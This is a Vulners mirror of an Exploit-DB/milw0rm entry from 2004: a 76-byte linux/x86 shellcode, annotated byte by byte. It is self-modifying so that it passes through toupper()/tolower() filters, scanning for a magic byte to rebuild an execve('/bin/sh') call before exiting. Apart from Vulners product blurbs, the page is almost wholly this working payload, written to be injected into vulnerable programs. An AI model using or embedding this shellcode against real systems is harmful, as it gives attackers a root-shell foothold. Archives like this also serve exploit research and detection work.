Lucene search
K

linux/x86 Magic Byte Self Modifying Code 76 bytes

🗓️ 22 Dec 2004 00:00:00Reported by xortType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Magic Byte Self Modifying Code executes with toupper() and tolower() functions in 76 bytes.

Code
/*-------------------------------------------------------*/
/*     Magic Byte Self Modifying Code for surviving      */
/*               toupper() & tolower()                   */
/*        76bytes execve() _exit() code by XORt          */
/*-------------------------------------------------------*/
"\xeb\x34"               /* jmp $0x34          [revert]  */
"\x5e"                   /* pop %esi                     */
/*--set-up-variables-------------------------------------*/
"\x89\xf7"               /* mov %esi, %edi               */
"\x83\xef\x22"           /* sub $0x22, %edi              */
"\x31\xc9"               /* xor %ecx, %ecx               */
"\xb1\x8c"               /* mov $0x8c, %cl               */
"\xd1\xc9"               /* ror $0x1, %ecx    (70loops)  */
/*-scan-for-magic-byte-----------------------------------*/
"\xb0\x7b"               /* mov $0x7b, %al               */
"\xf2\xae"               /* repne scasb                  */
"\xff\xcf"               /* dec %edi                     */
"\xac"                   /* lodsb            (al=DS:SI)  */
"\x28\x07"               /* subb %al, (%edi)             */
/*--loop-back-to-scanner---------------------------------*/
"\xe2\xf5"               /* loop -$0xe      [load-byte]  */
/*-------------------------------------[length:25bytes]--*/
//                                                       //
/*--modified-shellcode-----------------------------------*/
"\x89\x7b\x08"           /* movl %esi, 0x8(%esi)        @*/
"\x91"                   /* xchg %eax, %ecx              */
"\x88\x7b\x07"           /* movb %al, 0x7(%esi)         @*/
"\x89\x7b\x0c"           /* movl %eax, 0xc(%esi)        @*/
"\xb0\x0b"               /* movb $0xb, %al               */
"\x89\xf3"               /* movl %esi, %ebx              */
"\x8d\x7b\x08"           /* leal 0x8(%esi), %ecx        @*/
"\x8d\x7b\x0c"           /* leal 0xc(%esi), %edx        @*/
"\xcd\x80"               /* int $0x80                    */
"\x31\xdb"               /* xorl %ebx, %ebx              */
"\x89\xd8"               /* movl %ebx, %eax              */
"\x40"                   /* inc %eax                     */
"\xcd\x80"               /* int $0x80                    */
/*--revert-----------------------------------------------*/
"\xe8\xc7\xff\xff\xff"   /* call -$0x39                  */
/*--offset-table-----------------------------------------*/
"\x05\x35\x35\x2d\x25\x19\x12\x0d\x08\x13"             /**/
/*--string-to-run----------------------------------------*/
"/\x7b\x7b\x7b/\x7b\x7b" /* .string "/bin/sh"            */
/*--------------------------------------[length:51bytes]-*/


// milw0rm.com [2004-12-22]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 2004 00:00Current
0.1Low risk
Vulners AI Score0.1
25